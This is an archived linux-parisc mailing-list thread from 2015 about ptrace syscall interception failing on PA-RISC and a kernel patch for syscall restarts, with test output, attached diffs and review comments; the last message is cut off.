Lines: 270
Approved: news@gmane.org
Message-ID: <5679BC60.5090107@gmx.de>
References: <20151221175558.GA11489@vapier.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------060507090003090802010103"
X-Trace: ger.gmane.org 1450818685 13664 80.91.229.3 (22 Dec 2015 21:11:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Dec 2015 21:11:25 +0000 (UTC)
To: linux-parisc@vger.kernel.org, vapier@gentoo.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 22 22:11:16 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aBUDB-00068i-4d
	for glpp-linux-parisc@plane.gmane.org; Tue, 22 Dec 2015 22:11:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933789AbbLVVLM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Dec 2015 16:11:12 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:60170 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933779AbbLVVLL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Dec 2015 16:11:11 -0500
Original-Received: from [192.168.20.60] ([92.203.48.219]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0LfXmv-1aUoWY0DAP-00p3Of; Tue, 22 Dec 2015 22:10:59
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20151221175558.GA11489@vapier.lan>
X-Provags-ID: V03:K0:RHOZC28ubxejdHvCj1lmOqxqn6rdJ9exz9r5xKh+foaeqvGyOWF
 qM40bk6XglCOrfvGCKJcMsU4xVoaIxYhj6TxWvLJkTrfsYxzBEJEMCMHyZFKAiFn4zLx7tQ
 Uo967Cz56UoLN3q4V25fwLxhEF+PRu5D+zIC2USmeJYEhFq+RV57ReKWwg/5AR3Bmyo1T6P
 0ufNleZMGaklw904ytDSw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:KgsK8AJZZhw=:SwBHQ7k+L3B+2XTQy++52a
 rHeoEXrNtTmU41rgVUl7nIJKtMhD1xjL91rI+Cd4zq8XyIbZtWvf1Nu269cNYhRabddj03cDp
 ZlH4S1l5p5/x9Og+TsNCEYrHYgPoDLsl937i5dnnXDOCUh1YtvwVWHkkLuo3ku3dXF5NAWmBO
 6SiDfFtHOGWzdee6q2c5FgVTWGkGcnU3fSZwSW/9bURbw3dN5E2y1EEn/4mBx9Qufiv+yATX3
 etKwvFU1TO7I6qGDq1SFR8Ngs+Q94MDpCDEREBn5rB6FI7Vx7Jrzxl6gyjf+TX6PyB3Y1IB4S
 2OhH/o4/bRPo2mgZMCdQ85moeU3ozY+6pBL8HJmW4QRd3j5e4mVdKWOUZPuH1pyEvNsTyDNGW
 xIgR6AB2ahYYi9SmaJ8VzXXZcZrkjq+W9kYnSK122fvCQ2yMkfdWDfW/zwWd0IxLkiL+3VCbV
 Sf6n3XIOxtmWP7p796qqiKeZRDep56D3tRp0HierJTy60ZFeEydniL48QqoPYSntmykhRKZp+
 rgaFvgh8Dc+5k4Ldv/iqQQdTL94E0QxDkhqUWJ4+HLg54itESCczvhvVeIi6LC9axHd2VX2Rv
 ++V4F8qlgzUA6IXmL8UNMzsmxAtEZahSDd80t843ybO86mmcIxN5HTZirsVDEedvW/+q9gj3p
 GxQAWU01na6Is6V8aDtatTsBi9wkOqwT+SK3DdxJpNvtNtp2N5EG+zqpLUm1v/QapVmUkKMOi
 EFiXMfPHorJiduvqX/45EvG3TGdwErNW9PtZQ0PkDLP3PnSb9anW2jW4TbY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26276
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26276>

This is a multi-part message in MIME format.
--------------060507090003090802010103
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit

Hi Mike,

On 21.12.2015 18:55, Mike Frysinger wrote:
> i have a ptrace program that watches for specific syscalls and when
> matched, will:
>  - on entry change the syscall nr to -1 (so the kernel will skip it)
>  - on exit change the return to -EPERM so the userspace sees a denial
> 
> i have this working on most arches (x86, x86_64, arm, alpha, ia64, etc...).
> on parisc, the kernel (using 3.18.7 currently) appears to be wrong.  in my
> tests, if i don't mess with the syscall nr, i can change the return value
> fine (to EPERM or whatever).  but the syscall executed which i do not want.
> if i change the syscall to -1, then i can't change the return value (so the
> child sees ENOSYS), but the kernel still executes the original syscall.
> 
> i have a simple test case attached to show the issue.  the code does:
>  - spawn a child with the parent tracing it
>  - child will do:
>   - dupe stderr to another fd
>   - unlink a file named ".test.flag"
>   - write a message through the new fd
>   - close a magic # so the parent knows to start denying
>     - should see EPERM but it sees ENOSYS
>   - close the new fd
>     - should see EPERM but it is closed!
>   - write to the new fd
>     - should work, but the fd is closed
>   - call create on ".test.flag"
>     - should see EPERM, but the file is created!
>  - parent will do:
>   - log the syscalls until child runs close(-12345)
>   - the parent will then try to deny all close/creat calls
>   - uses PTRACE_POKEUSER w/PT_GR20 to set syscall to -1
>   - uses PTRACE_POKEUSER w/PT_GR28 to set return to -EPERM
> 
> you can run the test case by doing:
> $ gcc test.c && ./a.out

I agree, something is fishy :-)

I did some tests with your testcase.
First problem I had was, that compiling failed since it didn't found the asm/offset.h header file.
Which one did you used? I know it usually should come with the kernel headers, but there it is asm-offsets.h.
If you used debian, which package did you installed?

Instead I used asm-offsets.h.
First problem: I had to install the 64bit header file. PT_GR20 in this one was much higher than it should be for 32bit userspace.

So, I used those defines (taken from the strace source package):
#define PT_GR20 (20*4)
#define PT_GR26 (26*4)
#define PT_GR28 (28*4)
#define PT_IAOQ0 (106*4)
#define PT_IAOQ1 (107*4)

With that I got those output:
root@c3000:~# ./a.out
a.out: parent waiting for child (pid=1344) to signal: Success
a.out: child setting up ...
a.out: parent: waiting for exec; status: 0x1a7f
a.out: parent: waiting for exec; status: 0x857f
a.out: parent: hit exec!
a.out: parent: NR: 45 brk
a.out: parent: NR: 59 uname
a.out: parent: NR: 33 access
a.out: parent: NR: 90 mmap
a.out: parent: NR: 33 access
a.out: parent: NR:  5 open
a.out: parent: NR:112 fstat64
a.out: parent: NR: 90 mmap
a.out: parent: NR:  6 close
a.out: parent: NR: 33 access
a.out: parent: NR:  5 open
a.out: parent: NR:  3 read
a.out: parent: NR:112 fstat64
a.out: parent: NR: 90 mmap
a.out: parent: NR: 90 mmap
a.out: parent: NR: 90 mmap
a.out: parent: NR:  6 close
a.out: parent: NR: 90 mmap
a.out: parent: NR:125 mprotect
a.out: parent: NR: 90 mmap
a.out: parent: NR:125 mprotect
a.out: parent: NR: 91 munmap
a.out: parent: NR: 41 dup
a.out: parent: NR: 10 
a.out: parent: NR:  4 write
child: you should see two of these
a.out: parent: NR:  6 close
a.out: parent: setting NR to -1
a.out: parent: forcing EPERM
child: close marker (should be EPERM): Function not implemented
a.out: parent: NR:  4 write
a.out: parent: NR:  6 close
a.out: parent: setting NR to -1
a.out: parent: forcing EPERM
child: real close (should be EPERM): Success
a.out: parent: NR:  4 write
a.out: parent: NR:  4 write
child: write (should be success): Bad file descriptor
a.out: parent: NR:  4 write
a.out: parent: NR:  8 creat
a.out: parent: setting NR to -1
a.out: parent: forcing EPERM
child: creat (should be EPERM): Success
a.out: parent: NR:  4 write
a.out: parent: NR: 33 access
child: access (should be ENOENT): Success
a.out: parent: NR:  4 write
a.out: parent: NR: 10 

Seems not like what it should be.
I need to look closer at it during the next few days.

Regarding on how to get correct 32bit PT_REG #defines/values even on 64bit kernel,
maybe the attached patch is a way to go.

Helge

--------------060507090003090802010103
Content-Type: text/x-diff;
 name="pt_reg_32bit.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="pt_reg_32bit.patch"

diff --git a/arch/parisc/include/uapi/asm/ptrace.h b/arch/parisc/include/uapi/asm/ptrace.h
index c4fa6c8..1f2f892 100644
--- a/arch/parisc/include/uapi/asm/ptrace.h
+++ b/arch/parisc/include/uapi/asm/ptrace.h
@@ -33,6 +33,26 @@ struct pt_regs {
 	unsigned long ipsw;	/* CR22 */
 };
 
+#if defined(__LP64__)
+struct compat_pt_regs {
+	unsigned int gr[32];	/* PSW is in gr[0] */
+	__u64 fr[32];
+	unsigned int sr[ 8];
+	unsigned int iasq[2];
+	unsigned int iaoq[2];
+	unsigned int cr27;
+	unsigned int pad0;     /* available for other uses */
+	unsigned int orig_r28;
+	unsigned int ksp;
+	unsigned int kpc;
+	unsigned int sar;	/* CR11 */
+	unsigned int iir;	/* CR19 */
+	unsigned int isr;	/* CR20 */
+	unsigned int ior;	/* CR21 */
+	unsigned int ipsw;	/* CR22 */
+};
+#endif
+
 /*
  * The numbers chosen here are somewhat arbitrary but absolutely MUST
  * not overlap with any of the number assigned in <linux/ptrace.h>.
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index d2f6257..e2a8030 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -240,6 +240,96 @@ int main(void)
 	DEFINE(PT_SIZE, sizeof(struct pt_regs));
 	/* PT_SZ_ALGN includes space for a stack frame. */
 	DEFINE(PT_SZ_ALGN, align_frame(sizeof(struct pt_regs), FRAME_ALIGN));
+#ifdef CONFIG_64BIT
+	COMMENT("for 32bit userspace:");
+	DEFINE(PT_32_PSW, offsetof(struct compat_pt_regs, gr[ 0]));
+	DEFINE(PT_32_GR1, offsetof(struct compat_pt_regs, gr[ 1]));
+	DEFINE(PT_32_GR2, offsetof(struct compat_pt_regs, gr[ 2]));
+	DEFINE(PT_32_GR3, offsetof(struct compat_pt_regs, gr[ 3]));
+	DEFINE(PT_32_GR4, offsetof(struct compat_pt_regs, gr[ 4]));
+	DEFINE(PT_32_GR5, offsetof(struct compat_pt_regs, gr[ 5]));
+	DEFINE(PT_32_GR6, offsetof(struct compat_pt_regs, gr[ 6]));
+	DEFINE(PT_32_GR7, offsetof(struct compat_pt_regs, gr[ 7]));
+	DEFINE(PT_32_GR8, offsetof(struct compat_pt_regs, gr[ 8]));
+	DEFINE(PT_32_GR9, offsetof(struct compat_pt_regs, gr[ 9]));
+	DEFINE(PT_32_GR10, offsetof(struct compat_pt_regs, gr[10]));
+	DEFINE(PT_32_GR11, offsetof(struct compat_pt_regs, gr[11]));
+	DEFINE(PT_32_GR12, offsetof(struct compat_pt_regs, gr[12]));
+	DEFINE(PT_32_GR13, offsetof(struct compat_pt_regs, gr[13]));
+	DEFINE(PT_32_GR14, offsetof(struct compat_pt_regs, gr[14]));
+	DEFINE(PT_32_GR15, offsetof(struct compat_pt_regs, gr[15]));
+	DEFINE(PT_32_GR16, offsetof(struct compat_pt_regs, gr[16]));
+	DEFINE(PT_32_GR17, offsetof(struct compat_pt_regs, gr[17]));
+	DEFINE(PT_32_GR18, offsetof(struct compat_pt_regs, gr[18]));
+	DEFINE(PT_32_GR19, offsetof(struct compat_pt_regs, gr[19]));
+	DEFINE(PT_32_GR20, offsetof(struct compat_pt_regs, gr[20]));
+	DEFINE(PT_32_GR21, offsetof(struct compat_pt_regs, gr[21]));
+	DEFINE(PT_32_GR22, offsetof(struct compat_pt_regs, gr[22]));
+	DEFINE(PT_32_GR23, offsetof(struct compat_pt_regs, gr[23]));
+	DEFINE(PT_32_GR24, offsetof(struct compat_pt_regs, gr[24]));
+	DEFINE(PT_32_GR25, offsetof(struct compat_pt_regs, gr[25]));
+	DEFINE(PT_32_GR26, offsetof(struct compat_pt_regs, gr[26]));
+	DEFINE(PT_32_GR27, offsetof(struct compat_pt_regs, gr[27]));
+	DEFINE(PT_32_GR28, offsetof(struct compat_pt_regs, gr[28]));
+	DEFINE(PT_32_GR29, offsetof(struct compat_pt_regs, gr[29]));
+	DEFINE(PT_32_GR30, offsetof(struct compat_pt_regs, gr[30]));
+	DEFINE(PT_32_GR31, offsetof(struct compat_pt_regs, gr[31]));
+	DEFINE(PT_32_FR0, offsetof(struct compat_pt_regs, fr[ 0]));
+	DEFINE(PT_32_FR1, offsetof(struct compat_pt_regs, fr[ 1]));
+	DEFINE(PT_32_FR2, offsetof(struct compat_pt_regs, fr[ 2]));
+	DEFINE(PT_32_FR3, offsetof(struct compat_pt_regs, fr[ 3]));
+	DEFINE(PT_32_FR4, offsetof(struct compat_pt_regs, fr[ 4]));
+	DEFINE(PT_32_FR5, offsetof(struct compat_pt_regs, fr[ 5]));
+	DEFINE(PT_32_FR6, offsetof(struct compat_pt_regs, fr[ 6]));
+	DEFINE(PT_32_FR7, offsetof(struct compat_pt_regs, fr[ 7]));
+	DEFINE(PT_32_FR8, offsetof(struct compat_pt_regs, fr[ 8]));
+	DEFINE(PT_32_FR9, offsetof(struct compat_pt_regs, fr[ 9]));
+	DEFINE(PT_32_FR10, offsetof(struct compat_pt_regs, fr[10]));
+	DEFINE(PT_32_FR11, offsetof(struct compat_pt_regs, fr[11]));
+	DEFINE(PT_32_FR12, offsetof(struct compat_pt_regs, fr[12]));
+	DEFINE(PT_32_FR13, offsetof(struct compat_pt_regs, fr[13]));
+	DEFINE(PT_32_FR14, offsetof(struct compat_pt_regs, fr[14]));
+	DEFINE(PT_32_FR15, offsetof(struct compat_pt_regs, fr[15]));
+	DEFINE(PT_32_FR16, offsetof(struct compat_pt_regs, fr[16]));
+	DEFINE(PT_32_FR17, offsetof(struct compat_pt_regs, fr[17]));
+	DEFINE(PT_32_FR18, offsetof(struct compat_pt_regs, fr[18]));
+	DEFINE(PT_32_FR19, offsetof(struct compat_pt_regs, fr[19]));
+	DEFINE(PT_32_FR20, offsetof(struct compat_pt_regs, fr[20]));
+	DEFINE(PT_32_FR21, offsetof(struct compat_pt_regs, fr[21]));
+	DEFINE(PT_32_FR22, offsetof(struct compat_pt_regs, fr[22]));
+	DEFINE(PT_32_FR23, offsetof(struct compat_pt_regs, fr[23]));
+	DEFINE(PT_32_FR24, offsetof(struct compat_pt_regs, fr[24]));
+	DEFINE(PT_32_FR25, offsetof(struct compat_pt_regs, fr[25]));
+	DEFINE(PT_32_FR26, offsetof(struct compat_pt_regs, fr[26]));
+	DEFINE(PT_32_FR27, offsetof(struct compat_pt_regs, fr[27]));
+	DEFINE(PT_32_FR28, offsetof(struct compat_pt_regs, fr[28]));
+	DEFINE(PT_32_FR29, offsetof(struct compat_pt_regs, fr[29]));
+	DEFINE(PT_32_FR30, offsetof(struct compat_pt_regs, fr[30]));
+	DEFINE(PT_32_FR31, offsetof(struct compat_pt_regs, fr[31]));
+	DEFINE(PT_32_SR0, offsetof(struct compat_pt_regs, sr[ 0]));
+	DEFINE(PT_32_SR1, offsetof(struct compat_pt_regs, sr[ 1]));
+	DEFINE(PT_32_SR2, offsetof(struct compat_pt_regs, sr[ 2]));
+	DEFINE(PT_32_SR3, offsetof(struct compat_pt_regs, sr[ 3]));
+	DEFINE(PT_32_SR4, offsetof(struct compat_pt_regs, sr[ 4]));
+	DEFINE(PT_32_SR5, offsetof(struct compat_pt_regs, sr[ 5]));
+	DEFINE(PT_32_SR6, offsetof(struct compat_pt_regs, sr[ 6]));
+	DEFINE(PT_32_SR7, offsetof(struct compat_pt_regs, sr[ 7]));
+	DEFINE(PT_32_IASQ0, offsetof(struct compat_pt_regs, iasq[0]));
+	DEFINE(PT_32_IASQ1, offsetof(struct compat_pt_regs, iasq[1]));
+	DEFINE(PT_32_IAOQ0, offsetof(struct compat_pt_regs, iaoq[0]));
+	DEFINE(PT_32_IAOQ1, offsetof(struct compat_pt_regs, iaoq[1]));
+	DEFINE(PT_32_CR27, offsetof(struct compat_pt_regs, cr27));
+	DEFINE(PT_32_ORIG_R28, offsetof(struct compat_pt_regs, orig_r28));
+	DEFINE(PT_32_KSP, offsetof(struct compat_pt_regs, ksp));
+	DEFINE(PT_32_KPC, offsetof(struct compat_pt_regs, kpc));
+	DEFINE(PT_32_SAR, offsetof(struct compat_pt_regs, sar));
+	DEFINE(PT_32_IIR, offsetof(struct compat_pt_regs, iir));
+	DEFINE(PT_32_ISR, offsetof(struct compat_pt_regs, isr));
+	DEFINE(PT_32_IOR, offsetof(struct compat_pt_regs, ior));
+	DEFINE(PT_32_SIZE, sizeof(struct compat_pt_regs));
+	/* PT_32_SZ_ALGN includes space for a stack frame. */
+	DEFINE(PT_32_SZ_ALGN, align_frame(sizeof(struct compat_pt_regs), FRAME_ALIGN));
+#endif
 	BLANK();
 	DEFINE(TI_TASK, offsetof(struct thread_info, task));
 	DEFINE(TI_FLAGS, offsetof(struct thread_info, flags));

--------------060507090003090802010103--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts (v2)
Date: Thu, 24 Dec 2015 16:07:15 +0000 (UTC)
Lines: 156
Approved: news@gmane.org
Message-ID: <187718964.290846.1450973235666.JavaMail.zimbra@efficios.com>
References: <20151218233034.GA24910@p100.box> <20151221091933.GA22935@p100.box> <997901782.279317.1450729643512.JavaMail.zimbra@efficios.com> <56786702.6060600@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450973249 9700 80.91.229.3 (24 Dec 2015 16:07:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Dec 2015 16:07:29 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 24 17:07:19 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aC8QA-0001zX-Fk
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Dec 2015 17:07:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752742AbbLXQHS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Dec 2015 11:07:18 -0500
Original-Received: from mail.efficios.com ([78.47.125.74]:48215 "EHLO mail.efficios.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752674AbbLXQHQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Dec 2015 11:07:16 -0500
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 01C9E3402AD;
	Thu, 24 Dec 2015 16:07:17 +0000 (UTC)
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id X74Kro-Xz6XW; Thu, 24 Dec 2015 16:07:16 +0000 (UTC)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 0FD103402DB;
	Thu, 24 Dec 2015 16:07:16 +0000 (UTC)
X-Virus-Scanned: amavisd-new at efficios.com
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id znZW1P5Rr2ob; Thu, 24 Dec 2015 16:07:15 +0000 (UTC)
Original-Received: from evm-mail-1.efficios.com (evm-mail-1.efficios.com [78.47.125.74])
	by mail.efficios.com (Postfix) with ESMTP id DBB043402AD;
	Thu, 24 Dec 2015 16:07:15 +0000 (UTC)
In-Reply-To: <56786702.6060600@gmx.de>
X-Originating-IP: [78.47.125.74]
X-Mailer: Zimbra 8.6.0_GA_1178 (ZimbraWebClient - FF43 (Linux)/8.6.0_GA_1178)
Thread-Topic: parisc: Fix syscall restarts (v2)
Thread-Index: jkxh96X8uJaxI0PXo8d87VVrmnvPwA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26277
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26277>

----- On Dec 21, 2015, at 3:54 PM, Helge Deller deller@gmx.de wrote:

> On 21.12.2015 21:27, Mathieu Desnoyers wrote:
>> ----- On Dec 21, 2015, at 4:19 AM, Helge Deller deller@gmx.de wrote:
>> 
>>> This is version 2 of the patch:
>>>
>>> On parisc syscalls which are interrupted by signals sometimes failed to
>>> restart and instead returned -ENOSYS which in the worst case lead to
>>> userspace crashes.
>>> A similiar problem existed on MIPS and was fixed by commit e967ef02
>>> ("MIPS: Fix restart of indirect syscalls").
>>>
>>> On parisc the current syscall restart code assumes that all syscall
>>> callers load the syscall number in the delay slot of the ble
>>> instruction. That's how it is e.g. done in the unistd.h header file:
>>> 	ble 0x100(%sr2, %r0)
>>> 	ldi #syscall_nr, %r20
>>> Because of that assumption the current code never restored %r20 before
>>> returning to userspace.
>>>
>>> This assumption is at least not true for code which uses the glibc
>>> syscall() function, which instead uses this syntax:
>>> 	ble 0x100(%sr2, %r0)
>>> 	copy regX, %r20
>>> where regX depend on how the compiler optimizes the code and register
>>> usage.
>>>
>>> This patch fixes this problem by adding code to analyze how the syscall
>>> number is loaded in the delay branch and - if needed - copy the syscall
>>> number to regX prior returning to userspace for the syscall restart.
>>>
>>> Signed-off-by: Helge Deller <deller@gmx.de>
>>> Cc: stable@vger.kernel.org
>>> Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
>>>
>>> diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
>>> index dc1ea79..2264f68 100644
>>> --- a/arch/parisc/kernel/signal.c
>>> +++ b/arch/parisc/kernel/signal.c
>>> @@ -435,6 +435,55 @@ handle_signal(struct ksignal *ksig, struct pt_regs *regs,
>>> int in_syscall)
>>> 		regs->gr[28]);
>>> }
>>>
>>> +/*
>>> + * Check how the syscall number gets loaded into %r20 within
>>> + * the delay branch in userspace and adjust as needed.
>>> + */
>>> +
>>> +static void check_syscallno_in_delay_branch(struct pt_regs *regs)
>>> +{
>>> +	u32 opcode, source_reg;
>>> +	u32 __user *uaddr;
>>> +	int err;
>>> +
>>> +	/* Usually we don't have to restore %r20 (the system call number)
>>> +	 * because it gets loaded in the delay slot of the branch external
>>> +	 * instruction via the ldi instruction.
>>> +	 * In some cases a register-to-register copy instruction might have
>>> +	 * been used instead, in which case we need to copy the syscall
>>> +	 * number into the source register before returning to userspace.
>>> +	 */
>>> +
>>> +	/* A syscall is just a branch, so all we have to do is fiddle the
>>> +	 * return pointer so that the ble instruction gets executed again.
>>> +	 */
>>> +	regs->gr[31] -= 8; /* delayed branching */
>>> +
>>> +	/* Get assembler opcode of code in delay branch */
>>> +	uaddr = (unsigned int *) ((regs->gr[31] & ~3) + 4);
>> 
>> Is it valid to have unaligned instructions ? Does the architecture
>> allow it, or it's a fumble and we should pr_warn ?
> 
> How can it be unaligned? It's about u32...

That would be an instruction that is volountarily offset
from 1, 2, 3 bytes from 4-bytes multiples by the application.
The only situation where I have seen this is in cases where
applications are trying to play games with the debugger or
disassembler and hide what they are doing: they can offset
the start of a function like this, and therefore all the
instructions within that function.

> And, no, unaligned instructions are not allowed (I think that at least).

Might be interesting to try it out though. I'm not saying it's
a valid use-case for an application, but it would be at least good
to known whether this is an input we can expect.

> 
>>> +	err = get_user(opcode, uaddr);
>>> +	if (err)
>> 
>> Should we add a pr_warn here ?
> 
> No. There is no gain to have a warning here.

Allright.

> 
>>> +		return;
>>> +
>>> +	/* Check if delay branch uses "ldi int,%r20" */
>>> +	if ((opcode & 0xffff0000) == 0x34140000)
>>> +		return;	/* everything ok, just return */
>>> +
>>> +	/* Check if delay branch uses "nop" */
>>> +	if (opcode == INSN_NOP)
>>> +		return;
>> 
>> When we find a NOP in the delay slot, how can we be sure %r20
>> still holds the syscall value when we re-play the branch
>> instruction ?
> 
> I looked at the code and even tested it (with your testcase actually).
> 
>> Can it be overwritten during the syscall,
>> either from start of syscall to here, or from here to
>> return to userspace ?
> 
> No.
> 
>>> +
>>> +	/* Check if delay branch uses "copy %rX,%r20" */
>>> +	if ((opcode & 0xffe0ffff) == 0x08000254) {
>>> +		source_reg = (opcode >> 16) & 31;
>>> +		regs->gr[source_reg] = regs->gr[20];
>> 
>> Similar question here, how can we be sure regs->gr[20]
>> still has the system call number at this point (not
>> overwritten from start of syscall to here) ?
> 
> Those registers are saved at entry of syscall and
> restored at exit (with exception of a few registers
> e.g. like r28 which is the return value of the syscall).

Can r28 be used as a source_reg ? If so, what happens then ?

Thanks,

Mathieu

> 
> Helge

-- 
Mathieu Desnoyers
EfficiOS Inc.
http://www.efficios.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts (v2)
Date: Thu, 24 Dec 2015 11:51:54 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <567C22AA.1000700@bell.net>
References: <20151218233034.GA24910@p100.box>
 <20151221091933.GA22935@p100.box>
 <997901782.279317.1450729643512.JavaMail.zimbra@efficios.com>
 <56786702.6060600@gmx.de>
 <187718964.290846.1450973235666.JavaMail.zimbra@efficios.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450975936 13974 80.91.229.3 (24 Dec 2015 16:52:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Dec 2015 16:52:16 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 24 17:52:08 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aC97X-0003pF-Q8
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Dec 2015 17:52:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753140AbbLXQwB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Dec 2015 11:52:01 -0500
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:5756 "EHLO
	torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751615AbbLXQwA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Dec 2015 11:52:00 -0500
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20151224165158.BPHH22640.torfep01.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 24 Dec 2015 11:51:58 -0500
Original-Received: from [192.168.0.125] (really [64.231.93.35]) by torspm01.bell.net
          with ESMTP
          id <20151224165158.TWHQ15009.torspm01.bell.net@[192.168.0.125]>;
          Thu, 24 Dec 2015 11:51:58 -0500
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <187718964.290846.1450973235666.JavaMail.zimbra@efficios.com>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.567C22AE.0164,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26278
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26278>

On 2015-12-24 11:07 AM, Mathieu Desnoyers wrote:
>>> Is it valid to have unaligned instructions ? Does the architecture
>>> >>allow it, or it's a fumble and we should pr_warn ?
>> >
>> >How can it be unaligned? It's about u32...
> That would be an instruction that is volountarily offset
> from 1, 2, 3 bytes from 4-bytes multiples by the application.
> The only situation where I have seen this is in cases where
